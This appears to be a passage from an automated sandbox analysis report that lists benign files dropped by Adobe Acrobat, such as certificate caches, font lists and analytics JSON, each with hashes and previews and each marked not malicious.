SHA-512:	DCE1F3EA7830612BF0A02B9C1D7CC024102375EC6EE189CD2587B98DFAD22D667410979B810877896E888B3CEB787066CDDA98227F3CEBD92BE2D04CB3B174F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.211929075391654
Encrypted:	false
SSDEEP:	24:7+txmnuwK+qL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MI:7MsnC+q/mFTIF3XmHjBoGGR+jMz+LhJ
MD5:	5F24A03CD07A3B86D4A427260F702780
SHA1:	12431AAE020C24EDA1C166333EE6323D5CD9C7CF
SHA-256:	E074FCB2B921E196A259D1456907DCB9EC459C70E13D6A808963C71CE368F16B
SHA-512:	8927EEB7B6646CC282AB8EA40427D76185D32EA14E4611698E1B1D96478617D405AF67537850E03289552496F5FF7D4CB8C4DE2882F44DDCB7E3BE3247E70B8E
Malicious:	false
Preview:	.... .c.....@r.U........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklpK3Wi/tfllXlE/HT8kdz/XNNX8RolJuRdxLlGB9lQRYwpDdt:kK/BeT8yzVNMa8RdWBwRd
MD5:	70DE9DC17EB515ECFAFB3480823F2DB9
SHA1:	098FDEBEC20CD28C423DCF8AC504BE9EAFF6186B
SHA-256:	57552C967939ED71C6E1460B64BB6BFCFAD5EDCCF2D605FC4FDA2DD2C2416E6C
SHA-512:	A945BDCAE57B5531EE1DF9FE8AA09D3DAA36DA33892596DA37E2A669B17A46FD7865C74B853ED9A027CAB829A19130F410A400FCA8742A0070B20D4A654AE70A
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....j...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2284938185447545
Encrypted:	false
SSDEEP:	6:kKT9L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:r9iDImsLNkPlE99SNxAhUe/3
MD5:	652FB3533F4C6393C99802A1E49EB1B7
SHA1:	5D013B990A3A3E17CC92DC916B27840CC6E74352
SHA-256:	2D59515E646E91E2D5D889FC9F65F663BBFAD2E013691DCA554777533A67E4DD
SHA-512:	27CF7544C2155858B95579AB5597371C5296564DE5AFE90104D8A57B0DCED4DD958D28B381A2FEC635140DD1749BA977F2E9D294A8A619CA70CEE4B28A39EA44
Malicious:	false
Preview:	p...... .........Z..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3720

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3720

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.350725029102525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJM3g98kUwPeUkwRe9:YvXKX1EHkZc0v6fGMbLUkee9
MD5:	8EE40EE1BB46966AFC7A321AB3802801
SHA1:	778C75C4511B86F76066DF3F67598D4B2D76184C
SHA-256:	3F38B2997C841FCFE5355DA02A30C5AAA0758C992DBAD1C16ED60EB726DC31F5
SHA-512:	6078ACC9283818D95D2D0096562A17FBD83FD72EA4567AF033604F7A20757A21FAEFC181924E10D5BEF6869285ACFC20AB003B39B069D898C915FDD1FDD400C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3000931017476045
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJfBoTfXpnrPeUkwRe9:YvXKX1EHkZc0v6fGWTfXcUkee9
MD5:	0546FB86C73B90A4C49E20EB2C8C73B3
SHA1:	E2886E2D6284C64F2E1CC507B7C29E0334B8A931
SHA-256:	C0974AF773E45A0A087CDFBE9DF71F806CEDEB221F9F1D065F94F1D36F9B16E6
SHA-512:	D1F657846DEE61222EDEA8693CD9D82B97E65926151274F1D5565C92B395C1083CDF3BBF2EC1C06AFC7ED159E307ED9F02935DA265964A5B230247BB327D3214
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.279579670885006
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJfBD2G6UpnrPeUkwRe9:YvXKX1EHkZc0v6fGR22cUkee9
MD5:	A9B55FB456510F337A41EEF9E7AF128D
SHA1:	765752D92169545BA442A4D1B86CE36DD9D67E71
SHA-256:	6E89E8DB84C5C0658B3592CEB48D3D81FD1318EE10BF50373AC1BE00C1757BF2
SHA-512:	E987524CB86E6DEE89BE9D80BA11EB30E67AD741A491435E82DBAEC4A29885464F2DBDF91EC1623DA1EB0623A08E9FEA980C2CC4E4A0AA654BA0E15BCF485286
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.337292084167344
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJfPmwrPeUkwRe9:YvXKX1EHkZc0v6fGH56Ukee9
MD5:	2796013A1269FB9180A3013C22BFF15B
SHA1:	2B4E45FF0C45A914046DC29765BB0290B40A4C18
SHA-256:	C13BEE4F49858A57C99706AA51D069E1AB54E1473BF5076A5A836AC47B7A16DC
SHA-512:	F9566DF2980A2746B6BADC0744E501494F0EA3A52F1F88C7AA27B155D9D8C1FC4BE8785BFA4D7D20C2183BFAC1032AB09CD828717F7A3D072F9238C8BBF8BF98
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6894874697441535
Encrypted:	false
SSDEEP:	24:Yv6XgkzvzpLgE9cQx8LennAvzBvkn0RCmK8czOCCSR:Yvyrhgy6SAFv5Ah8cv/R
MD5:	D1482BA1092416904E211855D266D268
SHA1:	D0F6C0D8870215235BFCE7AF9B9C0F88194B6FC0
SHA-256:	30CBAA87A2FDB280BBD8BEC5064F5C4C1F933DFC459B9BD5C0825930BEFB5E73
SHA-512:	738B98F66310A18DB1ED95046E97467863319F9D7C90A3216A84E02BBF18C68F7FC1A3B3203B42A021C2B7E514661C2C9F4DB552C1C4643899A0EC7E526EDAF1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2849316947389875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJf8dPeUkwRe9:YvXKX1EHkZc0v6fGU8Ukee9
MD5:	8CED0FB8D93AA31D3C9FD27F7D65BE76
SHA1:	C942E2DD8802DF1175B1F3391BD7BE2893A72F2B
SHA-256:	7462A9152877D266D45C2B3D036F6A7564EEB1011254FE80F320E47342B5F438
SHA-512:	A2D7D83544E21D1093913F25A854CB12CBD8D081546F7E9B7CCDF8450FBC353372FAF71B838BF52E88ED840E253224D5E4491B02F21EE29E48CC02C113F4E692
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.28927794111412
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJfQ1rPeUkwRe9:YvXKX1EHkZc0v6fGY16Ukee9
MD5:	BF1FA269F37F82CAAA4D64A673E8F282
SHA1:	2AF2F1FCA1985D20097FD3FEB138D720C7877B82
SHA-256:	4151A9DCBF4CF398D286A8D3A58C4BCDFB4A820638BAD649DEC17788C2F45751
SHA-512:	E8092E0AE18927CF3B5D32198FDD69310AA5B11750D06A533EC78504E4C9AD4C2E3B18F51C53C0653B83D6AEBA86F4292407ACE165EEFBBC257602C827DAA46C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a1d1467-00af-4426-a524-0ef96eb716b5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729574488,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294184094409884
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEG8KaHWkVoZcg1vRcR0YPRsoAvJfFldPeUkwRe9:YvXKX1EHkZc0v6fGz8Ukee9
MD5:	0C8D9FFD9E8A0E435DB22030804C65C4
SHA1:	A5A39C589B0D555DD65C2968893D955EAA89B212
SHA-256:	3D5208E4291A0DAB876036D7181A55DB2E486126D29F8E017983C71714218075
SHA-512:	A76951506F699062EB39628611CAA9974417880CB114B7B5358CBD6C8055BAC596F2B860B56F52000D9B2B8BE97893FF730FFB7265011E126C09D81B9C587483
Malicious:	false
